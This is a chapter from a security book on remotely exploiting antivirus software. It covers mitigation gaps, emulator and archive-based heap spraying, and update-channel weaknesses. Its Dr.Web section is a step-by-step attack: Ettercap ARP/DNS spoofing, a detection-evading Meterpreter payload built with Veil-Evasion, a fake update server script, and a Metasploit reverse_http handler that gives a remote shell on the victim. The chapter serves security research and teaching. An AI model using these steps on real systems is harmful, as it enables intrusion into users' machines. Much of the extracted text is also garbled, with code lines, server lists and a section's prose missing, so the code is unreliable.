The Antivirus Hacker's Handbook (2015)
Part III. Analysis and Exploitation
Chapter 15. Remote Exploitation
Remote exploitation techniques are used to exploit a product or a component of a product by an attacker who does not have access to the computer being targeted.
Antivirus software can be remotely targeted, but doing so requires a lot of effort. This chapter explains why exploiting an antivirus remotely is much more complex than local exploitation. It then covers how to write remote exploits for antivirus software and also contains many useful tips to make exploitation easier.
Implementing Client-Side Exploitation
In general, exploiting antivirus products remotely is similar to exploiting client-side applications, in the sense that the application is exploited by interpreting malicious code sent via email or through a drive-by exploit. Although there are some network services and management consoles for which remote exploitation can be considered server-side exploitation, the biggest attack surface, and the one that is always available when targeting such products, is actually the client-side part. This section focuses on the remote exploitation of client-side antivirus components.
Exploiting Weakness in Sandboxing
Most antivirus products are still plagued by a lack of implementation of decent security measures, which makes exploiting them no different or more difficult than exploiting old client-side applications such as music players or image viewers. Indeed, it is more difficult to exploit some security-aware client-side applications than the vast majority of existing antivirus products. For example, writing an exploit for Adobe Acrobat Reader, Google Chrome, or the latest versions of Internet Explorer or Microsoft Office is difficult in comparison to writing an exploit for an antivirus that does not try to prevent itself from being owned. This is because antivirus products do not run their critical code that deals with untrusted input inside sandboxes, whereas the aforementioned desktop apps do.
The sandbox is kind of a jail that prevents a process from taking certain privileged actions. Usually, sandbox processes are designed like this: a parent process, also known as the broker, runs with normal user privileges. The parent process controls one or more child processes that run at a different integrity level (in Windows), under a different user, or simply with a more limited set of capabilities (in Unix-like operating systems). To perform some sensitive and privileged actions, such as executing operating system commands or creating files outside a specific temporary directory, the child processes need to communicate with the parent process, the broker. If the broker considers the request sent by one of the child processes as valid, then it will perform the operation on behalf of the requesting child process, which is running with low privileges. However, in most antivirus products, there is nothing similar to a sandbox. If you read the antivirus advertisements and then research their products, you will discover that when they talk about “sandboxing,” they are referring exclusively to running applications or code that they know nothing about, inside half-controlled environments. Unfortunately for users, antivirus industry security, with only a few notable exceptions, is years behind web browser and document reader security.
Even though you now know why exploiting an antivirus application is like exploiting any other client-side application, there are still some difficulties to sort out before you can write an exploit for an antivirus. These difficulties are presented by the operating system or compiler exploitation mitigations rather than the actual antivirus product. One way to begin to write exploits for AV software is to take advantage of the fact that most of them make some common mistakes in the way they implement ASLR, DEP, and RWX pages. We will discuss them in the next sections.
Exploiting ASLR, DEP, and RWX Pages at Fixed Addresses
The following is a short list of trivial and common mistakes that, when left wide open, can lead to exploitation and security problems:
· Not enabling Address Space Layout Randomization (ASLR) for one or more modules in their products (even at kernel level), thus effectively rendering ASLR useless.
· Injecting a non-ASLR-enabled library system-wide, effectively neutralizing ASLR system-wide (for all processes).
· Purposely disabling Data Execution Prevention (DEP) in order to execute code in the stack.
· Finding Read-Write-eXecute (RWX) memory pages at fixed addresses. For exploit writers, finding memory pages with RWX attributes at fixed addresses is like finding a goldmine.
This is an aberration from a security point of view. However, it is an aberration that happens, and what is bad for some people is good for others (in this case, for an exploit writer). Indeed, most of the exploits I have written for file format vulnerabilities actually abused such “features” (or their lack thereof): executing code in the stack (DEP) or simply using some special Return-Oriented Programming (ROP) payload, which can be megabytes long, from one or more non-ASLR-enabled libraries.
An exploit that uses a non-ASLR-enabled library is often a very reliable exploit because that library provides a set of fixed addresses that the exploit can rely on to find all the needed ROP gadgets. However, with some antivirus products, you may have even more luck. For example, I discovered that pages with RWX attributes are often created at fixed memory addresses, making it even easier to execute your own code in the context of the targeted antivirus.
To illustrate how such an exploitation can take place, imagine that you have some heap buffer overflow bug in an antivirus product and you can leverage that bug to write a pointer value that will later be dereferenced and interpreted as being a pointer inside a Virtual Function Table (VTable). Here is the disassembly listing:
MOV EAX, [ECX] ; Memory at ECX is controllable
CALL [EAX+8] ; So, we directly control this call
In this case, because of some previous corruption, you can overwrite a C++ object's VTable address, usually located directly at the object's instance address. Because you control the contents pointed at by ECX, you can also control the call destination, the dereferenced value at EAX+8.
With such a bug, to achieve remote exploitation, you still need to know where to redirect the execution, and because of ASLR, this is not easy (if possible at all) to do. You can try the following, though:
1. Using any of the available non-ASLR-enabled modules, you can redirect execution to a set of ROP gadgets that mount the second stage of the attack: preparing for shellcode execution.
2. The ROP gadgets copy the shellcode to the fixed address RWX pages that were left by the targeted antivirus for you to use with your exploit.
3. After the ROP gadgets copy the entire shellcode, you can simply return or jump into the RWX page and continue your execution normally.
4. Done. It's game over.
As this example shows, exploitation is generally trivial with any antivirus product that makes these typical mistakes. Even the presence of only one of the four previously listed mistakes can mean the difference between an easy-to-exploit situation and a who-knows-how-to-exploit-this situation.
If DEP is enabled, as is the case nowadays, no RWX pages are present, and all the modules are ASLR enabled. In this case, the situation would have been different, and depending on the operating system and architecture, exploitation would have been a lot more difficult:
· When DEP is enabled, there is no more executing code from data pages.
· When ASLR is enabled, there is no more ROP unless you know the addresses of gadgets.
The exploitation mitigations that are implemented by most of today's compilers are good enough in most cases:
· Security cookies are effective against stack buffer overflows.
· Control Flow Guards are effective against use-after-free bugs.
· SafeSEH protects against overwriting exception handler pointers.
You may wonder why an antivirus product, which is often synonymous with security for the average user, can be guilty of such a basic mistake. In some cases, specifically when talking about ASLR and fixed address memory pages with RWX attributes, performance guides the decision. One company, which will remain unnamed, even showed me a comparison using ASLR-enabled modules and non-ASLR-enabled ones.
Writing Complex Payloads
Taking Advantage of Emulators
This is obviously the number-one answer. All existing antivirus engines, with the notable exception of ClamAV, contain at least one emulator, and that is the Intel x86 emulator. Can the emulator be used for malicious purposes? The answer is yes and no. The emulators in antivirus products are often limited in the sense that time-outs are set, as are memory limits and even limits for each loop the emulator runs.
Unfortunately, this means that you cannot create a Windows PE, Executable and Linkable Format (ELF), or MachO file; force it to be emulated; and then use it to fill 1GB or 2GB of memory in order to perform heap spraying before triggering the real vulnerability. On the other hand, the emulator can be fingerprinted and identified, thus helping the attacker to programmatically create a targeted final payload, or you can leverage the emulator to cause some memory leak while it is emulating code in the malicious file so that memory of a certain size is not freed after your sample is emulated. Naturally, this approach requires deep knowledge of the emulator, and so you need to reverse-engineer and analyze it. The emulator is likely one of the most broken pieces inside antivirus products, as well as one of the more frequently updated, which usually translates into many new bugs for each release.
It is important to note that not all malware samples are passed to the emulator; therefore, before using the emulator as an attack vector, you need to make sure you can trigger the emulator for a given sample. How can you force an antivirus to emulate a sample file? You don't! Instead, I typically do the following:
1. Reverse-engineer the core up to the point where the scanning process is discovered.
2. Put a breakpoint in the function where the emulator is going to be used by the scanner.
3. Run the antivirus product against a big malware set.
4. Wait until the breakpoint is hit.
The trick here is to pass many samples and find which one is going to trigger the emulator. Once the breakpoint (set in step 2) is hit, bingo! You now have a sample that is known to trigger the emulator. Usually, files that trigger the emulators are EXE cryptors or packers that are too complex to decrypt statically, and the antivirus engineers decided to decrypt them using the emulator (which is a good idea: let the machines work). Once you have identified which Windows PE, ELF, or MachO file is being emulated, you can modify the code at the entry point to put your own code, and voilà! You have a sample that is emulated and a place to put code to generate the payload or to cause multiple memory leaks in order to perform heap spraying. You will have much more luck finding such samples with Windows PE file sets than with ELF or MachO files.
Even if you use the emulator to do heap spraying or some of the other tricks mentioned previously, there are still more problems and limitations to overcome: AV emulators usually have hard-coded limits for the number of instructions they can emulate, the number of API calls allowed, the amount of memory they can use, and so on. Emulators cannot let a sample run forever on a desktop machine for performance reasons. Say that a malicious sample file can cause a memory leak in the emulator. For example, suppose that the function NtCreateFile, when passed bad arguments, allocates a buffer that is never freed. Now, say that it allocates a 1KB memory chunk each time it is called, but the antivirus emulator refuses to continue after running this function more than a thousand times. The attacker just allocated 1,024,000 bytes (1MB). If you need to allocate more memory during an attack, then it is time for the next trick.
Exploiting Archive Files
An archive file, such as a TAR or a simple ZIP, is a file with many other files inside of it. When an antivirus analyzes an archive file, by default, the kernel does the following:
1. It analyzes all files inside the archive, applying recursion limits (that is, it does not recursively scan more than five nested archive files).
2. It analyzes all files sequentially, from the very first time in the archive to the very last time.
In the example used previously involving the hypothetical memory leak with NtCreateFile, you had the option to allocate up to 1MB of memory per sample. What if, instead of a single Windows PE file, you send 100 slightly modified versions of a file to scan? The antivirus, by default, will analyze 100 files, thus allocating 100 MBs. If, instead of 100, you compress 1,000 files, you will be allocating 1,000 MBs, or 1 gigabyte. For this trick, you can simply add one byte or DWORD at the end of the file (at the overlay data) so the cryptographic hash changes and, as such, the antivirus does not have any way to determine whether the file was scanned before. Also note that because the files are very similar, with only a byte or a DWORD changed, the compressor will be very efficient in compressing the files, thus creating a ZIP or 7z or RAR archive file that is extremely small, considering the large number of files inside the archive. Nice trick, isn't it?
After allocating the memory size by using the previous trick, you can add one more file to the archive, the very last one, which will actually trigger the bug. Then you can use the allocated memory in the targeted antivirus. This is one way of doing heap spraying against an antivirus that, by the way, usually works very well.
Finding Weaknesses in Intel x86, AMD x86_64, and ARM Emulators
Antivirus engines usually implement not only a single emulator but a bunch of them. The most common emulator to find is for supporting Intel x86, but it is not unusual to find an emulator for AMD x86_64, for ARM, or even for Microsoft .NET byte-code! This means that an attacker can write advanced payloads in whatever assembly language the targeted antivirus supports. You could even write parts of the payload using different assemblers in different Windows PE files for different architectures: using the previous trick—archive files—you could send a file that would implement one part of the complex attack in an Intel x86 assembler, a second file that would continue implementing it with an AMD x86_64 assembler, and a final one that would do whatever you need in an ARM assembler.
There is a good reason why you might torture yourself with such an incredibly complex attack: obfuscation. An attack using various emulators would certainly cause a lot of problems for the analyst or analysts trying to understand the exploit. Of course, a smart analyst would try to find a pattern and then automate the task of de-obfuscation.
Determining What an Antivirus Supports
Determining which emulators and interpreters an antivirus product supports is not trivial, but there are some quick approaches to doing so. In general, if the emulator is not loaded dynamically from plug-ins (that are usually encrypted and compressed), you can simply use the grep tool to look for patterns and strings. For example, to determine where the native code emulator is for Zoner AntiVirus for Linux, you can simply issue the following command:
$ LANG=C grep emu -r /opt/zav/
Binary file /opt/zav/bin/zavcli matches
Binary file /opt/zav/lib/zavcore.so matches
If there is an emulator inside Zoner AntiVirus, it is in either zavcli or zavcore.so. Such components are usually implemented in the libraries. I will use one command from the Radare2 reverse-engineering suite to list all symbols from the zavcore.so library and filter out those that could be for an emulator:
$ rabin2 -s /opt/zav/lib/zavcore.so | egrep "(emu|VM)"
vaddr=0x00092600 paddr=0x00078600 ord=525 fwd=NONE sz=419 bind=LOCAL
vaddr=0x00198640 paddr=0x0017e640 ord=622 fwd=NONE sz=80 bind=LOCAL
vaddr=0x000f7aa0 paddr=0x000ddaa0 ord=773 fwd=NONE sz=84 bind=LOCAL
vaddr=0x000f7a80 paddr=0x000dda80 ord=774 fwd=NONE sz=16 bind=LOCAL
On the surface, it seems to support some sort of virtual machine (VM) for PE files (PE_VMCTX, which translates to PE virtual machine context) and also for the RAR VM, the virtual machine implemented by the file compression utility RAR. This information tells you which VMs you could target if you intend to find bugs and exploit them in Zoner AntiVirus. If you try to find references to scripting engines, you will discover that there are none:
$ rabin2 -s /opt/zav/lib/zavcore.so | egrep -i "(vb|java|script)"
A search like this one does not return any meaningful results, simply because the absence of certain string patterns does not mean the absence of certain features. You have to know for sure that the functionality you are looking for is not present, not even in encrypted or compressed antivirus plug-ins. Only then can you conclude that the antivirus does not support such emulating features. If you take a look at some other antiviruses that you know support these features, such as Comodo, you will see a different output:
$ LANG=C grep jscript -r *
Binary file libSCRIPTENGINE.so matches
This uncovers a match in the library libSCRIPTENGINE.so, which lives up to its name. If you take a look with the rabin2 tool from the Radare2 command-line tools, you see a lot of interesting symbols telling you which scripting engines are supported:
$ rabin2 -s libSCRIPTENGINE.so | egrep -i "(js|vb)" | more
vaddr=0x000c2943 paddr=0x00067c33 ord=083 fwd=NONE sz=2327 bind=LOCAL
vaddr=0x000c6b08 paddr=0x0006bdf8 ord=086 fwd=NONE sz=43 bind=LOCAL
vaddr=0x001009e0 paddr=0x000a5cd0 ord=099 fwd=NONE sz=200 bind=LOCAL
vaddr=0x000dc033 paddr=0x00081323 ord=108 fwd=NONE sz=270 bind=LOCAL
vaddr=0x003257b0 paddr=0x002caaa0 ord=221 fwd=NONE sz=40 bind=UNKNOWN
vaddr=0x000e7664 paddr=0x0008c954 ord=225 fwd=NONE sz=19 bind=UNKNOWN
Launching the Final Payload
· All content dropped to disk is analyzed by the antivirus.
· All new content evaluated or executed at runtime is analyzed by the antivirus.
· For each new file or buffer dropped to disk or evaluated during runtime, all the scanning routines are applied.
.rodata:00000000000A7438 ; char aFoundVirus
.rodata:00000000000A7438 46 6F 75 6E 64 20 56 69+aFoundVirus db
'Found Virus!',0 ; DATA XREF: eval(CParamsHelper &)+C5o
.rodata:00000000000A7445 00 00 00 00 00 00 00 00+ align 10h
If you follow the data cross-reference to this string, you land in the function eval(CParamsHelper &):
.text:00082F03 mov edi, 8 ; unsigned __int64
.text:00082F08 call __Znwm ; operator new(ulong)
.text:00082F0D lea rsi, aFoundVirus ; "Found Virus!"
.text:00082F14 mov rdi, rax ; this
.text:00082F17 mov rbx, rax
; CJsStopRunException::CJsStopRunException(char *)
.text:00082F1A call __ZN19CJsStopRunExceptionC1EPc
.text:00082F1F jmp short loc_82F34
Exploiting the Update Services
One of the vulnerable client-side parts of antivirus software is the update service. Exploiting update services is completely different than exploiting the usual memory corruption vulnerabilities in client-side components, such as the file format parsers. Such attacks usually mean that the connection between both ends (the client machine downloading updates and the server from which the updates will be downloaded) must somehow be intercepted. In a Local Area Network (LAN), the interception can be accomplished via Address Resolution Protocol (ARP) spoofing.
ARP spoofing, or ARP poisoning, is a technique by which the attacker sends spoof ARP answers to the LAN. The spoofed gratuitous ARP answers are meant to associate the attacker's MAC address with the IP address of the host being targeted, causing the traffic between client machines to the target, spoofed server to be intercepted by an attacker. Then, because all the traffic is flowing through the attacker-controlled machine, it can alter the packets being sent by potentially modifying the update bits coming from the specific targeted antivirus update servers to the client machines. The results of such an attack can be disastrous if the update services (on the client side) do not authenticate the received update data.
When searching for potential vulnerabilities in update services, you need to answer the following questions:
· Is the update service using SSL or TLS?
· Is the update service verifying the certificate from the server?
· Are updates signed?
· Is the signature verified by the update service?
· Is the update service using any library that allows the bypassing of signature checks?
When writing exploits, almost all antivirus products I analyzed use plain-text communications, usually in the form of HTTP, with no SSL or TLS. This use of plain-text means that anything sent from the server to the client can be modified without raising any flags. In rare cases, some servers use SSL/TLS exclusively as a means of communication, not for verifying that the server is the true server the client machine wants to communicate with. Also, one may ask whether the updates are being authenticated. By “authenticated,” I mean whether it can be verified that the updates were created by the antivirus in question and were not modified in transit. Authentication is usually done by signing the update files (for example, with RSA).
Fortunately for the attacker, most antivirus products authenticate their update files by simply using CRC or cryptographic hashes such as MD5, which works exclusively for the purpose of verifying that the updates were not corrupted during transit, and nothing else. An attacker can simply send the correct CRC or MD5 hashes corresponding to the update files. Last but not least, even if the update service is verifying the update's signature, if it uses an old version of OpenSSL, which is not that rare, you can still send updates “signed” with invalid signatures that will cause the signatures to be validated anyway. The following is an extract from the OpenSSL bug CVE-2008-5077:
Several functions inside OpenSSL incorrectly checked the result after calling the EVP_VerifyFinal function, allowing a malformed signature to be treated as a good signature rather than as an error. This issue affected the signature checks on DSA and ECDSA keys used with SSL/TLS.One way to exploit this flaw would be for a remote attacker who is in control of a malicious server or who can use a man in the middle attack to present a malformed SSL/TLS signature from a certificate chain to a vulnerable client, bypassing validation.
This means that any update service client code using an OpenSSL version of 0.9.8 or earlier is vulnerable to this bug.
Writing an Exploit for an Update Service
This section analyzes a simple exploit for the updating service of the Dr.Web antivirus, for both Linux and Windows. This antivirus, at least during its 6.X versions, used to update components via plain HTTP, and the only method used to authenticate the components was with the CRC algorithm, a simple checksum. Naturally, under these conditions, the exploitation of the update system of the Dr.Web antivirus becomes trivial.
The Dr.Web antivirus used to download update files from a hard-coded set of plain-HTTP servers:
By performing ARP spoofing and a DNS poisoning attack in a LAN, against these domains, attackers would be able to serve their own updates. The process of updating starts by selecting one server from the preceding list and then downloading a file with a timestamp, to determine whether there is a new update:
HTTP/1.1 Accept: */*
User-Agent: DrWebUpdate-6.00.15.06220 (windows: 6.01.7601)
HTTP/1.1 200 OK
Server: nginx/42 Date: Sat, 19 Apr 2014 10:33:36 GMT
Last-Modified: Sat, 19 Apr 2014 09:26:19 GMT
The returned value is a Unix timestamp indicating the time of the last update available. After this, another check is made to determine the current version of the antivirus product, specified in the drweb32.flg file:
GET /x64/600/av/windows/drweb32.flg HTTP/1.1
User-Agent: DrWebUpdate-6.00.15.06220 (windows: 6.01.7601)
HTTP/1.1 200 OK
Server: nginx/42 Date: Sat, 19 Apr 2014 10:33:37 GMT
Content-Length: 336 Last-Modified: Wed, 23 Jan 2013 09:42:21 GMT
Accept-Ranges: bytes [windows]
As you can see, part of what it returns in the response is the link to download the latest version of the product, the excluded operating systems, and so on.
The funny (or should I say interesting) part of the update protocol then starts when Dr.Web asks for an LZMA-compressed catalog with all the files that can be updated:
GET /x64/600/av/windows/drweb32.lst.lzma HTTP / 1.1
Accept: * / *
User-Agent: DrWebUpdate-6.00.15.06220 (windows: 6.01.7601)
Connection: Keep-Alive Cache-Control: no-cache
HTTP / 1.1 200 OK
Server: nginx / 42
Date: Sat, 19 Apr 2014 10:33:39 GMT
Content-Type: application / octet-stream
Last-Modified: Sat, 19 Apr 2014 10:23:08 GMT
A look inside this LZMA-compressed file reveals something similar to the following listing:
+<wnt>%CommonProgramFiles%\Doctor Web\Scanning Engine\dwengine.exe,
+<wnt>%CommonProgramFiles%\Doctor Web\Scanning Engine\dwinctl.dll,
This list contains the files that are available for update. Each filename is followed by some sort of a “hash.” The problem is that it is not a signature but, rather, a simple checksum (CRC). After discovering all this information, two approaches can be used to mount an attack:
· When the LZMA-compressed catalog is downloaded, modify it and return a fake one with the valid CRC hash of a special component to be installed on the system.
· Modify one of the files in the catalog, adding one special payload of your own, and use a CRC compensation attack so the checksum is the same.
The first attack is more flexible and gives you a lot of control, whereas the second attack is more complex and is not really required. If you choose to use the first attack, you can simply forge your own LZMA-compressed catalog with the CRCs of the files you want to install. By the way, it is important to note that you are not limited to deploying files in the Dr.Web program file's directory only: you can write files anywhere in the affected machine, in both Linux and Windows.
After the catalog is downloaded, the files in the catalog are checked to ensure that the CRC matches. Files that are different are downloaded and installed onto the target machine. In Linux, each independent file is downloaded, and in Windows, a patch-set file is downloaded. The patch-set that is requested takes the form of the following HTTP query:
If the file is not available, then Dr.Web tries to download the full installer for the new version:
The following steps show how to launch an attack against the Dr.Web update service:
1. Perform a man-in-the-middle attack against a machine or set of machines in a LAN. It is possible to do the same in a WAN, but that is beyond of the scope of this book.
2. By using ARP spoofing and DNS spoofing, you can intercept the connections the client machines make to the update servers that I previously listed. You would use the open-source tool Ettercap for this purpose.
3. In your machine, you create a fake Dr.Web update server using Python.
4. When the Dr.Web vulnerable installation asks for the update files, you return a Meterpreter executable file (compatible with the Metasploit framework) instead of the true update.
Use the following code to create your own Meterpreter payload, and make sure it evades detection by the antivirus, using the Veil-Evasion framework:
Veil-Evasion | [Version]: 2.7.0
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
29 payloads loaded
use use a specific payload
info information on a specific payload
list list available payloads
update update Veil to the latest version
clean clean out payload folders
checkvt check payload hashes vs. VirusTotal
exit exit Veil
[>] Please enter a command: list
[*] Available payloads:
[>] Please enter a command: use 3
[>] Please enter a command: set LHOST target-ip
[>] Please enter a command: generate
[>] Please enter the base name for output files: drwebupw
[*] Executable written to: /root/veil-output/compiled/drwebupw.exe
Now, it is time to use Ettercap to perform ARP spoofing and enable the module to do DNS spoofing. The Ettercap tool can be installed in Debian-based Linux distributions by issuing this command:
$ sudo apt-get install ettercap-graphical
Once you have it installed, run it as superuser from a terminal:
$ sudo ettercap -G
The flag -G lets you use the GUI, which is easier than using the text interface or using a long list of command-line flags. From the menu in the Ettercap GUI, select Sniff &cmdarr; Unified Sniffing, select the appropriate network card, and click OK. Now, choose Hosts &cmdarr; Scan for Hosts. It scans for hosts in the LAN corresponding to the selected network interface. Go to the menu and choose Hosts &cmdarr; Hosts Lists, and then select the appropriate targets (the first is the network router and the second is the target machine running Dr.Web). Now, click Mitm &cmdarr; ARP poisoning, check the Sniff Remote Connections option, and click OK. Next, you need to edit the file etter.dns to add the domains with DNS entries you want to spoof. (In Ubuntu, the file is located in/etc/ettercap/etter.dns.)
drweb.com A your-own-ip
*.drweb.com A your-own-ip
After saving the changes to this file, go back to the Ettercap GUI, click Plugins &cmdarr; Manage Plugins, and double-click the list shown on dns_spoof. DNS spoofing is now enabled, and all queries from the target for the DNS record of any *.drweb.com domain are answered with your own IP address. Now, for the last step, to exploit this bug, use the following Dr.Web Python exploit written by the author of the blog at http://habrahabr.ru:
from struct import *
from subprocess import call
class HttpRequestHandler (SimpleHTTPServer.SimpleHTTPRequestHandler):
if 'timestamp' in self.path:
elif 'drweb32.flg' in self.path:
elif 'drweb32.lst.lzma' in self.path:
elif UPLOAD_FILENAME + '.lzma' in self.path:
self.wfile.write(open(UPLOAD_FILENAME + '.lzma').read())
elif UPLOAD_FILENAME + '.patch' in self.path:
buf = open(filename,'rb').read()
buf = (binascii.crc32(buf) & 0xFFFFFFFF)
return "%08X" % buf
with open('timestamp','w') as f:
crc32 = CRC32_from_file(upload_filename)
with open('drweb32.lst','w') as f:
f.write('+%s, %s\n' % (upload_path+upload_filename,crc32))
file_size = os.stat(orig_filename).st_size
with open(lzma_filename,'r+b') as f:
bsize = pack('l',file_size)
print 'Http Server started…'
Although the comments are in Russian, the code is perfectly understandable: it simply tries to mimic the update protocol supported by Dr.Web and returns modified versions of the update files and the LZMA-compressed catalog by using the LZMA tool from Linux. If you run this tool and then try to update the Dr.Web antivirus, you see some requests like the following ones:
$ python drweb_http_server.py
Http Server started…
10.0.1.102 - - [20/Apr/2014 10:48:24] "GET
/x64/600/av/windows/timestamp HTTP/1.1" 200 -
10.0.1.102 - - [20/Apr/2014 10:48:24] "GET
/x64/600/av/windows/drweb32.flg HTTP/1.1" 200 -
10.0.1.102 - - [20/Apr/2014 10:48:26] "GET
/x64/600/av/windows/drweb32.lst.lzma HTTP/1.1" 200 -
10.0.1.102 - - [20/Apr/2014 10:48:27] "GET
/x64/600/av/windows/drwebupw.exe.patch_8c879982_fd933b5f HTTP/1.1" 404 -
10.0.1.102 - - [20/Apr/2014 10:48:27] "GET
/x64/600/av/windows/drwebupw.exe.lzma HTTP/1.1" 200 –
On your machine, run a Metasploit reverse HTTP handler by issuing the following commands:
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_http
PAYLOAD => windows/meterpreter/reverse_http
msf exploit(handler) > set LHOST target-ip
LHOST => target-ip
msf exploit(handler) > set LPORT 8080
LPORT => 8080
msf exploit(handler) > run
[*] Started HTTP reverse handler on http://target-ip:8080/
[*] Starting the payload handler…
If everything goes well, when the Dr.Web antivirus tries to update its files, it downloads the Meterpreter payload you created, and after installing it, you see a new session in the Metasploit console, as shown in Figure 15-1.
Figure 15.1 Dr.Web is successfully owned.
And that is all! As you can see, writing an exploit for an antivirus update service such as this vulnerable one was trivial.
Server-side exploitation is the remote exploitation of network services, having access to them via an adjacent network, a LAN, or via a WAN, the Internet. Server-side exploitation can apply to the following (non-exhaustive) list of antivirus services:
· Update services—The antivirus services that check for updates and download and install them on your computer or network.
· Management console—The console where the infection alerts from client machines are received and handled by an administrator.
· Network services—Any network listening service deployed by the antivirus, such as a web server, an FTP server for providing updates to clients on the same network, and so on.
Differences between Client-Side and Server-Side Exploitation
Server-side exploitation, without specifically focusing on antivirus products, is very different from client-side exploitation. However, most of the rules discussed about client-side exploitation still apply:
· Exploitation mitigations—All the exploitation mitigations are there to make your life more difficult.
· Mistakes—Antivirus engines make many mistakes, such as those I discussed relating to client-side exploitation: disabling ASLR, enabling DEP, creating RWX memory pages at fixed addresses, and so on. Luckily for an attacker, those mistakes will ease the difficulties stemming from the exploitation mitigations.
There is one more important difference: in the case of network services, you likely have only one chance at success. You have only one chance to attack the network service, and if you fail, you have no choice but to wait until the service is restarted. If it is automatically restarted, then you can try many times, but this is not recommended: to keep retrying after the service crashes and restarts is akin to brute forcing. It may generate a lot of alert logs and will eventually draw the attention of the system administrator and the security engineers.
Exploiting ASLR, DEP, and RWX Pages at Fixed Addresses
I already discussed how to take advantage of the mistakes made by antivirus products when disabling DEP or when ASLR is disabled for at least one module, on the client-side. For server-side exploitation, the same rules apply:
· If a vulnerability overwrites the stack, you can even execute code on the stack if the antivirus disabled DEP.
· If you need a fixed address with native code to create your own payloads, with ROP gadgets, for example, you can use the modules without ASLR enabled that the antivirus engineers left for you to exploit their services.
· If you need a place in memory to write shellcode, you can use the RWX pages created at fixed memory addresses by the antivirus.
There is no real difference here between client-side and server-side exploitation.
Remote exploitation techniques are used in scenarios when an attacker does not have direct, local access to the target computer. An example of remotely exploiting client-side components of antivirus software is when the attacker sends a malicious email to the target, which then triggers a bug in the antivirus software leading to a DoS attack or remote code execution. On the other hand, remotely exploiting server-side components of an antivirus software involves attacking email gateways, firewalls, and other servers or services exposed to the LAN or WAN.
Client-side components are mitigated against exploitation by various technologies provided by the operating system, the compiler, and custom sandboxes. To name a few: ASLR, DEP, SafeSEH, Control Flow Guard, security cookies, and so on.
While there seem to be a lot of mitigations, antivirus developers still make lapses in security designs and implementations, thus paving the way for successful exploitation. The following is but a short list of trivial and common mistakes that can lead to exploitation and security problems:
· Not enabling Address Space Layout Randomization (ASLR) for one or more modules or system-wide injection of non-ASLR-enabled libraries into other processes
· Purposely disabling DEP in order to execute code in the stack or to preserve backwards compatibility with some older components of the antivirus software
· The use of Read-Write-eXecute (RWX) memory pages, especially if they are allocated at fixed memory addresses
Apart from leveraging weaknesses in the use of mitigations, attackers use certain features in the antivirus software to their advantage. For example, if the antivirus contains emulators, it is possible to abuse the emulators and use them to do heap spraying or to leak memory and cause a DoS that could potentially crash the antivirus.
Server-side components and other network services are also protected by the same mitigations mentioned above and at the same time share their weaknesses. However, there are more attack vectors that server-side components are exposed to:
· Update servers are prone to ARP spoofing attacks
· The incorrect use of file signature and integrity checks while transmitting the update bits, for example, using CRC32 algorithms instead of PKI-based signature checks
· Improper use of secure transport channels, for example, using HTTP instead of HTTPS
The final two points in the previous list were nicely illustrated by a hands-on section on how to exploit the update service of Dr.Web antivirus.
This chapter concludes Part III of this book. In the next and final part, the remaining two chapters will be less technical and more informative and talk about the current trends in antivirus protection and the direction the antivirus industry is heading. The book concludes by sharing some thoughts on how antiviruses could be improved.